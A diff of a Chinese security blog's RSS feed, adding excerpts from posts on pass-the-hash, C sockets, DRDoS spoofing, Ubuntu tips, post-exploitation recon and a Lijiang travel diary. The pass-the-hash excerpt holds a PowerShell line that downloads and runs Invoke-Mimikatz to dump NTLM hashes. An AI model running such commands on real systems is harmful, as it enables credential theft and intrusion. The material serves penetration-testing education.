style="display:flex;"><span>pip install crackmapexec +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x04-传递ntlm-hash执行命令">0x04 传递NTLM Hash执行命令</h2> +<h3 id="使用mimikatz获取ntlm-hash">使用<code>Mimikatz</code>获取<code>NTLM Hash</code></h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-gdscript3" data-lang="gdscript3"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>PS C:\Users\administrator\Documents<span style="color:#f92672">&gt;</span>IEX(New<span style="color:#f92672">-</span><span style="color:#a6e22e">Object</span> Net<span style="color:#f92672">.</span>WebClient)<span style="color:#f92672">.</span>DownloadString(<span style="color:#e6db74">&#39;https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1&#39;</span>) +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>PS C:\Users\administrator\Documents<span style="color:#f92672">&gt;</span>Invoke<span style="color:#f92672">-</span>Mimikatz +</span></span></code></pre></td></tr></table> +</div> +</div><p>获取NTLM Hash</p>浅谈使用C语言开发服务端漏洞扫描设计https://payloads.online/archivers/2018-03-20/1/Tue, 20 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-20/1/<h2 id="0x00-前言">0x00 前言</h2> <p>都是自己闷头搞出来的经验,对于自己是经验,对大家就不知道合不合口味了。</p> <p>本文可能过多的穿插以下知识点:</p> <ul> @@ -3197,7 +6305,43 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p>那么我们来看看它到底是什么?</p> <h3 id="套接字的地址结构">套接字的地址结构</h3> <p>刚才百科告诉我们,套接字用(IP地址:端口号)表示。</p> -<p>那么在网络编程中如何告诉计算机,什么是端口,什么是端口号呢?</p>渗透测试中使用Ubuntu的一些小技巧https://payloads.online/archivers/2018-03-18/1/Sun, 18 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-18/1/<h2 id="0x00-前言">0x00 前言</h2> +<p>那么在网络编程中如何告诉计算机,什么是端口,什么是端口号呢?</p> +<p>于是出现了被计算机界公认的结构体,这个结构体保存在系统的标准库中:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;arpa/inet.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">struct</span> sockaddr_in +</span></span><span style="display:flex;"><span> { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">__SOCKADDR_COMMON</span> (sin_); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">in_port_t</span> sin_port; <span style="color:#75715e">/* Port number. */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> in_addr sin_addr; <span style="color:#75715e">/* Internet address. */</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* Pad to size of `struct sockaddr&#39;. */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> sin_zero[<span style="color:#66d9ef">sizeof</span> (<span style="color:#66d9ef">struct</span> sockaddr) <span style="color:#f92672">-</span> +</span></span><span style="display:flex;"><span> __SOCKADDR_COMMON_SIZE <span style="color:#f92672">-</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">sizeof</span> (<span style="color:#66d9ef">in_port_t</span>) <span style="color:#f92672">-</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">sizeof</span> (<span style="color:#66d9ef">struct</span> in_addr)]; +</span></span><span style="display:flex;"><span> }; +</span></span></code></pre></td></tr></table> +</div> +</div><p>看起来还是比较复杂的,但是用起来一点都不复杂。</p>渗透测试中使用Ubuntu的一些小技巧https://payloads.online/archivers/2018-03-18/1/Sun, 18 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-18/1/<h2 id="0x00-前言">0x00 前言</h2> <p>由于学习C、C++我喜欢在Linux平台,首选了Ubuntu这个发新版,目前已经做得很不错了,但是平常使用的时候会发现一些比较麻烦的事情。</p> <p>本文就把一些技巧分享、记录下来。</p> <p>操作系统版本:Ubuntu 17.10</p> @@ -3224,7 +6368,10 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span></span><span style="display:flex;"><span>deb http://security.ubuntu.com/ubuntu artful-security main restricted </span></span><span style="display:flex;"><span>deb http://security.ubuntu.com/ubuntu artful-security universe </span></span><span style="display:flex;"><span>deb http://security.ubuntu.com/ubuntu artful-security multiverse -</span></span></code></pr华为RIP协议https://payloads.online/archivers/2015-11-20/2/Fri, 16 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2015-11-20/2/<p>本文记录一下华为RIP协议的简单配置</p>使用C语言发送伪造源IP的UDP请求及DRDOS拒绝服务攻击原理剖析https://payloads.online/archivers/2018-03-04/1/Sun, 04 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-04/1/<h2 id="0x01-什么是drdos">0x01 什么是DRDOS</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x01-右键">0x01 右键</h2> +<p><code>nautilus-actions</code> 是一个提供用户自定义鼠标右键菜单的软件。</p>华为RIP协议https://payloads.online/archivers/2015-11-20/2/Fri, 16 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2015-11-20/2/<p>本文记录一下华为RIP协议的简单配置</p>使用C语言发送伪造源IP的UDP请求及DRDOS拒绝服务攻击原理剖析https://payloads.online/archivers/2018-03-04/1/Sun, 04 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-04/1/<h2 id="0x01-什么是drdos">0x01 什么是DRDOS</h2> <p>DRDoS是英文“Distributed Reflection Denial of Service ”的缩写,中文意思是“分布式反射拒绝服务”。与DoS、DDoS不同,该方式靠的是发送大量带有被害者IP地址的数据包给攻击主机,然后攻击主机对IP地址源做出大量回应,形成拒绝服务攻击。</p> <h2 id="0x02-drdos的攻击流程">0x02 DRDOS的攻击流程</h2> <p>DRDoS要完成一次反射放大攻击:</p> @@ -3247,7 +6394,74 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p>假设有三个用户,Allen、Jerry、Tom.</p> </blockquote> <h3 id="jerry与tom一次正常的udp请求">Jerry与Tom一次正常的UDP请求</h3> -<p><code>Jerry说:</code>“我是Jerry,我的源端口是4787,我要向Tom的4478端口发送一个UDP报文”</p>针对某跨国企业的一次渗透测试-持续https://payloads.online/archivers/2018-01-30/1/Tue, 30 Jan 2018 00:00:00 +0000https://payloads.online/archivers/2018-01-30/1/<p>文章涉及泄漏厂商隐私,已经删除!</p>我的丽江之旅https://payloads.online/archivers/2018-01-22/1/Mon, 22 Jan 2018 00:00:00 +0000https://payloads.online/archivers/2018-01-22/1/<h2 id="出发">出发</h2> +<p><code>Jerry说:</code>“我是Jerry,我的源端口是4787,我要向Tom的4478端口发送一个UDP报文”</p> +<p>此时Tom的4478端口接收到一个UDP报文,需要回复内容,回复给谁呢,接下来需要根据报文中的IP头确定是谁发送的</p> +<p>通过Jerry的话确定发送方是Jerry,而Jerry的端口是4787,那么Tom就会将数据传送给Jerry</p> +<p><code>Tom说:</code>“我是Tom,我的源端口是4478,根据刚才接收到的一句话中,确认了发送人是Jerry,我把数据传送给Jerry的4787端口”</p> +<h3 id="allen进行一次rdos攻击">Allen进行一次RDOS攻击</h3> +<p><code>Allen说:</code>“我是Jerry,我的源端口是4787,我要向Tom的4478端口发送一个UDP报文”</p> +<p>此时Tom接收到报文,根据上面这句话确定了发送人是Jerry,目的端口是4787</p> +<p><code>Tom说:</code>“我是Tom,我的源端口是4478,根据刚才接收到的一句话中,确认了发送人是Jerry,我把数据传送给Jerry的4787端口”</p> +<p>这个过程当中,Jerry并没有参与通信,但是接到了一个从Tom那里发送过来的UDP数据报文</p> +<h2 id="0x04-编写一个伪造ip头的c语言程序">0x04 编写一个伪造IP头的C语言程序</h2> +<blockquote> +<p>/usr/include/netinet/ip.h</p> +</blockquote> +<p>这里面定义了IP头</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">ip</span> +</span></span><span style="display:flex;"><span> { +</span></span><span style="display:flex;"><span><span style="color:#75715e">#if __BYTE_ORDER == __LITTLE_ENDIAN +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> ip_hl:<span style="color:#ae81ff">4</span>; <span style="color:#75715e">/* header length */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> ip_v:<span style="color:#ae81ff">4</span>; <span style="color:#75715e">/* version */</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#endif +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#if __BYTE_ORDER == __BIG_ENDIAN +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> ip_v:<span style="color:#ae81ff">4</span>; <span style="color:#75715e">/* version */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> ip_hl:<span style="color:#ae81ff">4</span>; <span style="color:#75715e">/* header length */</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#endif +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">uint8_t</span> ip_tos; <span style="color:#75715e">/* type of service */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ip_len; <span style="color:#75715e">/* total length */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ip_id; <span style="color:#75715e">/* identification */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ip_off; <span style="color:#75715e">/* fragment offset field */</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#define IP_RF 0x8000 </span><span style="color:#75715e">/* reserved fragment flag */</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define IP_DF 0x4000 </span><span style="color:#75715e">/* dont fragment flag */</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define IP_MF 0x2000 </span><span style="color:#75715e">/* more fragments flag */</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define IP_OFFMASK 0x1fff </span><span style="color:#75715e">/* mask for fragmenting bits */</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">uint8_t</span> ip_ttl; <span style="color:#75715e">/* time to live */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">uint8_t</span> ip_p; <span style="color:#75715e">/* protocol */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ip_sum; <span style="color:#75715e">/* checksum */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">in_addr</span> ip_src, ip_dst; <span style="color:#75715e">/* source and dest address */</span> +</span></span><span style="display:flex;"><span> }; +</span></span></code></pre></td></tr></table> +</div> +</div><blockquote> +<p>/usr/include/netinet/udp.h</p>针对某跨国企业的一次渗透测试-持续https://payloads.online/archivers/2018-01-30/1/Tue, 30 Jan 2018 00:00:00 +0000https://payloads.online/archivers/2018-01-30/1/<p>文章涉及泄漏厂商隐私,已经删除!</p>我的丽江之旅https://payloads.online/archivers/2018-01-22/1/Mon, 22 Jan 2018 00:00:00 +0000https://payloads.online/archivers/2018-01-22/1/<h2 id="出发">出发</h2> <p> <img src="https://images.payloads.online/f404b60a-4f5e-11ec-a3a5-00d861bf4abb.jpg" alt="杭州"> @@ -3282,7 +6496,160 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p> <img src="https://images.payloads.online/f86feb1a-4f5e-11ec-ba81-00d861bf4abb.jpg" alt="我的早饭"> -</p>针对国内一大厂的后渗透 - 持续https://payloads.online/archivers/2017-12-28/1/Thu, 28 Dec 2017 00:00:00 +0000https://payloads.online/archivers/2017-12-28/1/<h2 id="0x00-前言">0x00 前言</h2> +</p> +<p>起来的比较晚哈哈,当然没啥好吃的了,就只能喝点粥和牛奶……</p> +<h2 id="古城你好">古城,你好</h2> +<p>走在人少的古城小道,别具诗意,哈哈</p> +<p> + <img src="https://images.payloads.online/f4de9b54-4f5e-11ec-ad35-00d861bf4abb.jpg" alt="古城小道"> + +</p> +<p>还有随处可见的其他客栈,基本上都会在门口立着一个牌子 —— “今日有房”</p> +<p> + <img src="https://images.payloads.online/f55b9596-4f5e-11ec-8eba-00d861bf4abb.jpg" alt="大花猫"> + +</p> +<p>如果这家客栈是在城市之中,恐怕路过的人都会拍几张,但是在丽江,这太普通了!</p> +<p> + <img src="https://images.payloads.online/f5b6ec66-4f5e-11ec-a244-00d861bf4abb.jpg" alt="少数民族"> + +</p> +<p>热情的少数民族,一对情侣,这里的人们对于爱情可是有着别样的看法,若两个人不能在一起、或者是结婚,那就选择殉情,去“玉龙第三国”,就在玉龙雪山脚下,我稍后会介绍</p> +<p> + <img src="https://images.payloads.online/f8da85ec-4f5e-11ec-8f49-00d861bf4abb.jpg" alt="古城大道"> + + + + <img src="https://images.payloads.online/f9d347ae-4f5e-11ec-ade8-00d861bf4abb.jpg" alt="古城小道"> + +</p> +<p> + <img src="https://images.payloads.online/fb627c98-4f5e-11ec-8aba-00d861bf4abb.jpg" alt="古城小道"> + +</p> +<p>这里万里无云,墙壁上雕刻着这些民族独有的象形文字。</p> +<p> + <img src="https://images.payloads.online/fa4ac2a2-4f5e-11ec-9d7f-00d861bf4abb.jpg" alt="美食街"> + +</p> +<p>古城的美食街,我在这里吃了一碗米线,不如前面小店里的…… 可能是他们做惯了快餐 = =</p> +<p> + <img src="https://images.payloads.online/fc16a736-4f5e-11ec-8311-00d861bf4abb.jpg" alt="美食街"> + +</p> +<p>密室逃脱都有,这里的商业发展很完善,支持微信、支付宝付款</p> +<h2 id="美食">美食</h2> +<p> + <img src="https://images.payloads.online/f660c39e-4f5e-11ec-8a3d-00d861bf4abb.jpg" alt="土鸡米线"> + +</p> +<p>到了下午,饥饿感袭来,赶紧去寻找云南特色美食,米线当然是少不了的了。</p> +<p>我们选了一家比较大的米线店,虽然这种店随处可见,但是隐隐感觉这的味道绝对不差。</p> +<h2 id="古城的夜晚狂欢">古城的夜晚狂欢</h2> +<p>吃完饭就回去躺了一会,比较累就没有去逛</p> +<p> + <img src="https://images.payloads.online/f6e2ef4a-4f5e-11ec-9af8-00d861bf4abb.jpg" alt="古城的晚上"> + +</p> +<p> + <img src="https://images.payloads.online/f75a8f6e-4f5e-11ec-8530-00d861bf4abb.jpg" alt="古城的晚上"> + +</p> +<p>到了晚上,开始狂欢! 公司组织了一个小活动,去酒吧喝酒 —— “水泊梁山”</p> +<p>晚上人比较多,开着导航都容易走错,小道大道错综复杂。</p> +<p> + <img src="https://images.payloads.online/faccde18-4f5e-11ec-a0de-00d861bf4abb.jpg" alt="水泊梁山"> + +</p> +<p> + <img src="https://images.payloads.online/fb1a42f2-4f5e-11ec-9229-00d861bf4abb.jpg" alt="水泊梁山"> + +</p> +<p>在这里有一种“午夜销魂酒”,我喝了不少,还有“飞花雪月”~~ 手中拿着酒壶,就像是古代里的侠客 ~ 哈哈</p> +<p>最后的最后我还是喝多了,回到客栈就吐了 2333 然后躺倒,一觉睡到第二天早上</p> +<h2 id="最美老板娘">最美老板娘</h2> +<p>第一晚跟着同事去看了这个抖音网红</p> +<p> + <img src="https://images.payloads.online/fbcd3420-4f5e-11ec-8a82-00d861bf4abb.jpg" alt="最美老板娘"> + +</p> +<p>她是卖民鼓的,演奏的很好听~</p> +<h2 id="登上玉龙雪山的前奏">登上玉龙雪山的前奏</h2> +<p>玉龙雪山为云南省丽江市境内雪山群,地处东经100°4′2″~100°16′30″、北纬27°3′2″~27°18′57″之间,在丽江北面约15千米处,全长75千米,是北半球最近赤道终年积雪的山脉,隔江西与中甸雪山、东与绵绵山相并列,北自三江口,向南延伸到北纬27°,如扇面向古城展开。全山的13座山峰由南向北纵向排列,主峰扇子陡最高处海拔5596米,终年积雪,发育有亚欧大陆距离赤道最近的温带海洋性冰川。</p> +<p>早上很早就起来了,因为索道需要排队,我们排到了中午,天气很好。</p> +<p> + <img src="https://images.payloads.online/fc5e09be-4f5e-11ec-b0e6-00d861bf4abb.jpg" alt="坐车去玉龙雪山脚下"> + +</p> +<p>坐车去玉龙雪山脚下。</p> +<p> + <img src="https://images.payloads.online/fcbe89e2-4f5e-11ec-bd8d-00d861bf4abb.jpg" alt="购买氧气罐"> + +</p> +<p>由于玉龙雪山海拔比较高,高到穿透了云层,登山的时候氧气稀薄,必须购买一个氧气罐,补充氧气,一罐大概60元。</p> +<p>PS:购买氧气罐必须要去专业的供氧中心,以防买到“压缩空气”</p> +<p> + <img src="https://images.payloads.online/fd326c5e-4f5e-11ec-aa52-00d861bf4abb.jpg" alt="供氧中心"> + +</p> +<p>到达玉龙雪山脚下</p> +<p> + <img src="https://images.payloads.online/fd93daa2-4f5e-11ec-a44d-00d861bf4abb.jpg" alt="到达雪山脚下"> + +</p> +<p>云雾缭绕的上面就是玉龙雪山、路上导游也介绍了玉龙雪山相关的景色以及乘坐索道的注意事项,还有玉龙雪山的特色(国家保护动物、植物、药材)</p> +<p> + <img src="https://images.payloads.online/fde9efc8-4f5e-11ec-9bad-00d861bf4abb.jpg" alt="安检"> + +</p> +<p>进入玉龙雪山需要乘坐一段时间大巴车,到达乘坐索道的地点,首先需要安检、刷身份证来验票,整个旅游的景点都是只需要刷身份证就可以了,非常方便。</p> +<p> + <img src="https://images.payloads.online/fe4af73c-4f5e-11ec-a062-00d861bf4abb.jpg" alt="下车"> + +</p> +<p>下车后看到路边有一些积雪、气温开始下降,大家去的话一定要带厚衣服。</p> +<p> + <img src="https://images.payloads.online/feb3a386-4f5e-11ec-b777-00d861bf4abb.jpg" alt="索道"> + +</p> +<p>开始排队、进行索道安检,期间看到索道上的缆车通过钢缆送上云端,不经感叹人类的智慧力量,那可是5000多米的海拔,通过电力就可以把人送上去。</p> +<p> + <img src="https://images.payloads.online/ff1451c2-4f5e-11ec-a591-00d861bf4abb.jpg" alt="海拔说明"> + +</p> +<p>在过了安检后,我路过了一个展览牌,里面标识了每一个海拔点。</p> +<p>通过缆车将人送到4506米的海拔高度,然后再通过楼梯,爬上4680的海拔高度。我一开始是想登上5596米的,但是只能上到4680&hellip;. +后面你会看到我的狼狈、怎么说也是年轻的小伙,爬一百多米就不行了。</p> +<p> + <img src="https://images.payloads.online/ff7b1646-4f5e-11ec-bb2a-00d861bf4abb.jpg" alt="缆车启动"> + +</p> +<p>缆车开始驶离起点,直冲云霄~</p> +<p> + <img src="https://images.payloads.online/ffe55998-4f5e-11ec-972e-00d861bf4abb.jpg" alt="缆车上的景色"> + +</p> +<p>在缆车上可以看到山上的植被,好像大多是松树,还有常年不化的积雪。</p> +<p> + <img src="https://images.payloads.online/018445b6-4f5f-11ec-a2c8-00d861bf4abb.jpg" alt="开始冲破云层"> + + + + <img src="https://images.payloads.online/005a2c82-4f5f-11ec-b895-00d861bf4abb.jpg" alt="开始冲破云层"> + +</p> +<p>开始冲破云层</p> +<h2 id="天上的景色">天上的景色</h2> +<p> + <img src="https://images.payloads.online/00b6f160-4f5f-11ec-95b4-00d861bf4abb.jpg" alt="天上的景色"> + +</p> +<p> + <img src="https://images.payloads.online/011ecc9a-4f5f-11ec-82ea-00d861bf4abb.jpg" alt="天上的景色"> + +</p> +<h2 id="着陆后">着陆后</h2> +<p>下了缆车,看到许多人,然后我的嘴唇开始泛白、头有点晕,感觉开始吸氧,向楼梯走去,绝对不能倒在起点啊 哈哈</p>针对国内一大厂的后渗透 - 持续https://payloads.online/archivers/2017-12-28/1/Thu, 28 Dec 2017 00:00:00 +0000https://payloads.online/archivers/2017-12-28/1/<h2 id="0x00-前言">0x00 前言</h2> <p>此文将全部脱敏,涉及某大厂商,中间会穿插一些小的知识点与细节。</p> <h2 id="0x01-信息搜集---后渗透">0x01 信息搜集 - 后渗透</h2> <p>首先我们后渗透阶段的开始表现在 拥有一个Webshell或者通过其他漏洞获取了某些操作服务器文件的权限,亦或者能够直接反弹Shell</p> @@ -3313,7 +6680,28 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 -</span></code></prCVE-2017-11882钓鱼攻击https://payloads.online/archivers/2017-11-22/1/Wed, 22 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-22/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>D:\WWW\***\master\&gt; net user /domain +</span></span><span style="display:flex;"><span>这项请求将在域 WORKGROUP 的域控制器处理。 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>发生系统错误 1355。 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>指定的域不存在,或无法联系。 +</span></span></code></pre></td></tr></table> +</div> +</div><p>通过上面的结果可以看到该服务器并不是域成员</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" 